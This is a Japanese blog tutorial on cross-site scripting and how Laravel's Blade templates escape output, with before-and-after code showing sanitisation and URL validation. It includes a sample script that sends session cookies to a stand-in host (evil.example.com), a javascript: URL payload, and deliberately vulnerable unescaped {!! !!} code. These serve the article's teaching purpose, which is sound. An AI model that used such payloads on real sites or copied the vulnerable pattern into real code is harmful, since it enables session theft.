こんにちは、かつコーチです。
前回はCSRF対策について解説しました。
今回は、もう一つの代表的なWeb脆弱性であるXSS(クロスサイトスクリプティング)と、Laravelの標準テンプレートエンジンBladeがどう対策しているかを見ていきます。
「なぜ{{ }}を使えば安全で、{!! !!}は危険なのか」を、仕組みから理解しておきましょう。
XSSとは?どんな攻撃なのか
XSS攻撃の仕組み
XSS(Cross-Site Scripting:クロスサイトスクリプティング)とは、悪意のあるスクリプトを他のユーザーのブラウザ上で実行させる攻撃です。
典型的なパターンは、ユーザーが入力した内容をそのままページに表示する掲示板やコメント欄です。
- 攻撃者が、コメント欄に
<script>タグを含む悪意のある文字列を投稿する - サーバーが、その文字列を「無害な文字列」として無加工でHTMLに出力してしまう
- 他のユーザーがそのページを開くと、ブラウザは埋め込まれた
<script>をそのまま実行してしまう - 結果として、Cookie情報の盗み出しや、意図しないページへの誘導などが行われる
CSRFが「別サイトから正規サイトへの不正リクエスト」だったのに対し、XSSは「正規サイトの中に悪意のあるスクリプトを紛れ込ませる」攻撃という違いがあります。
具体的な攻撃コード例
たとえば、コメント欄に次のような文字列が投稿されたとします。
<script>document.location='https://evil.example.com/steal?cookie=' + document.cookie</script>
このコメントを他のユーザーが表示した瞬間、ブラウザ上でこのスクリプトが実行され、ログイン中のセッションCookieが攻撃者のサーバーに送信されてしまいます。
Cookieが盗まれると、そのユーザーになりすましてログインされてしまう危険があります。
Bladeのエスケープ処理の仕組み
{{ }}は自動的にエスケープされる
Laravelでは、Bladeの{{ $variable }}構文を使うと、出力時に自動的にHTMLエスケープ(<や>などの特殊文字を無害な表記に変換する処理)が行われます。
<?php
// コントローラ側
$comment = '<script>alert("XSS")</script>';
<!-- Bladeテンプレート -->
<p>{{ $comment }}</p>
このとき、ブラウザに送られるHTMLは次のようにエスケープされています。
<p><script>alert("XSS")</script></p>
<script>というタグとしてではなく、単なる文字列としてそのまま画面に表示されるため、スクリプトは実行されません。
Bladeの{{ }}は、内部的にPHPのhtmlspecialchars()関数を使ってこのエスケープを行っています。
「特別な対策コードを書かなくても、{{ }}を使うだけでXSS対策になっている」というのが、Bladeの大きなメリットです。
{!! !!}はエスケープされない
一方、Bladeには生のHTMLをそのまま出力する{!! $variable !!}という構文も用意されています。
<!-- エスケープされずそのままHTMLとして出力される -->
<div>{!! $comment !!}</div>
これを使うと、先ほどの悪意のあるスクリプトがそのまま実行されてしまいます。
{!! !!}は、CMSの本文表示など「意図的にHTMLタグを含んだコンテンツを表示したい」場面のための構文であり、ユーザー入力をそのまま渡すのは非常に危険です。
つまずきやすいポイント:Before/Afterで見るXSS対策
脆弱なコードと対策済みコードの対比
私が実際に痛い目を見たのは、リッチテキストエディタ(WYSIWYGエディタ)で投稿されたブログ記事本文を表示する機能を作ったときでした。
「本文にはHTMLタグ(太字・改行など)が含まれるから」という理由で、深く考えずに{!! !!}を使ってしまい、テスト用のダミーデータで<script>タグを含む文字列を試したところ、あっさりアラートが実行されて青ざめた経験があります。
❌ Before:ユーザー入力を無条件に{!! !!}で出力する
<?php
// app/Http/Controllers/CommentController.php
public function store(Request $request, Post $post)
{
$post->comments()->create([
'user_id' => $request->user()->id,
// バリデーションはしているが、HTMLタグの中身までは検証していない
'body' => $request->input('body'),
]);
return back();
}
<!-- resources/views/posts/show.blade.php -->
@foreach ($post->comments as $comment)
<div class="comment">
<!-- 危険:ユーザー入力をそのままHTMLとして出力している -->
{!! $comment->body !!}
</div>
@endforeach
このコードでは、コメントに<script>タグを含めるだけで、閲覧した全ユーザーのブラウザでスクリプトが実行されてしまいます。
✅ After:ユーザー入力は{{ }}で出力する(HTMLタグを許可したい場合はサニタイズする)
まず、単純なテキストコメントであれば、{{ }}を使うだけで安全になります。
<!-- resources/views/posts/show.blade.php -->
@foreach ($post->comments as $comment)
<div class="comment">
<!-- 安全:自動的にHTMLエスケープされる -->
{{ $comment->body }}
</div>
@endforeach
どうしても本文に一部のHTMLタグ(太字・リンクなど)を許可したい場合は、{!! !!}を使う前にサニタイズ(危険なタグ・属性だけを除去する処理)を行います。
composer require mews/purifier
<?php
// app/Http/Controllers/CommentController.php
use Mews\Purifier\Facades\Purifier;
public function store(Request $request, Post $post)
{
$post->comments()->create([
'user_id' => $request->user()->id,
// 許可したタグ以外(scriptなど)は自動的に除去される
'body' => Purifier::clean($request->input('body')),
]);
return back();
}
保存時点で危険なタグを除去しておくことで、表示側で{!! !!}を使っても安全な状態を保てます。
「ユーザーが入力した値は、表示する場所で必ず{{ }}を使う」を基本ルールにし、{!! !!}を使う場合は「なぜ生のHTMLが必要なのか」「入力段階でサニタイズされているか」を必ず自問する、という習慣が事故を防いでくれます。
属性値・URL・JavaScript内への出力にも注意する
HTMLの本文だけでなく、属性値やJavaScriptの中にユーザー入力を埋め込む場合も注意が必要です。
❌ Before:href属性にユーザー入力をそのまま埋め込む
<!-- ユーザーが javascript: から始まるURLを入力すると危険 -->
<a href="{{ $user->website }}">{{ $user->name }}のサイト</a>
$user->websiteにjavascript:alert(document.cookie)のような値が入っていると、リンクをクリックした瞬間にスクリプトが実行されてしまいます。
✅ After:URLの形式をバリデーションで制限する
<?php
// app/Http/Requests/UpdateProfileRequest.php
public function rules(): array
{
return [
// http/httpsで始まるURL形式であることを検証する
'website' => ['nullable', 'url', 'starts_with:http://,https://'],
];
}
保存前のバリデーション段階で不正な形式のURLを弾いておくことで、表示側でのリスクを減らせます。
応用:Vue/ReactのSPAと組み合わせる場合の注意点
フロントエンドでも同様のエスケープが必要
Sanctum記事で扱ったようなSPA構成の場合、表示側の役割をVueやReactが担うことになります。
これらのフレームワークも、標準の出力構文(Vueの{{ }}、Reactの{変数})では自動的にエスケープが行われます。
ただし、Vueのv-htmlやReactのdangerouslySetInnerHTMLは、Bladeの{!! !!}と同じく生のHTMLをそのまま描画するため、同様のリスクがあります。
「テンプレートエンジンが違っても、生のHTMLをそのまま出力する構文には要注意という考え方は共通している」と覚えておくと、技術が変わっても応用が効きます。
まとめ
この記事のポイント
- XSSは、悪意のあるスクリプトを他のユーザーのブラウザで実行させる攻撃
- Bladeの
{{ }}は自動的にHTMLエスケープされ、標準でXSS対策になっている {!! !!}はエスケープされないため、ユーザー入力を直接渡すのは危険- HTMLタグを許可したい場合は、表示前に
mews/purifierなどでサニタイズする - 属性値やURLへの出力も、バリデーションで形式を制限しておくと安全性が高まる
次に読むべき記事
CSRF・XSSと来たら、次は認証情報そのものを守るパスワードハッシュ化の仕組みを見ていきましょう。
→ 次の記事:パスワードハッシュ化(bcrypt)の仕組み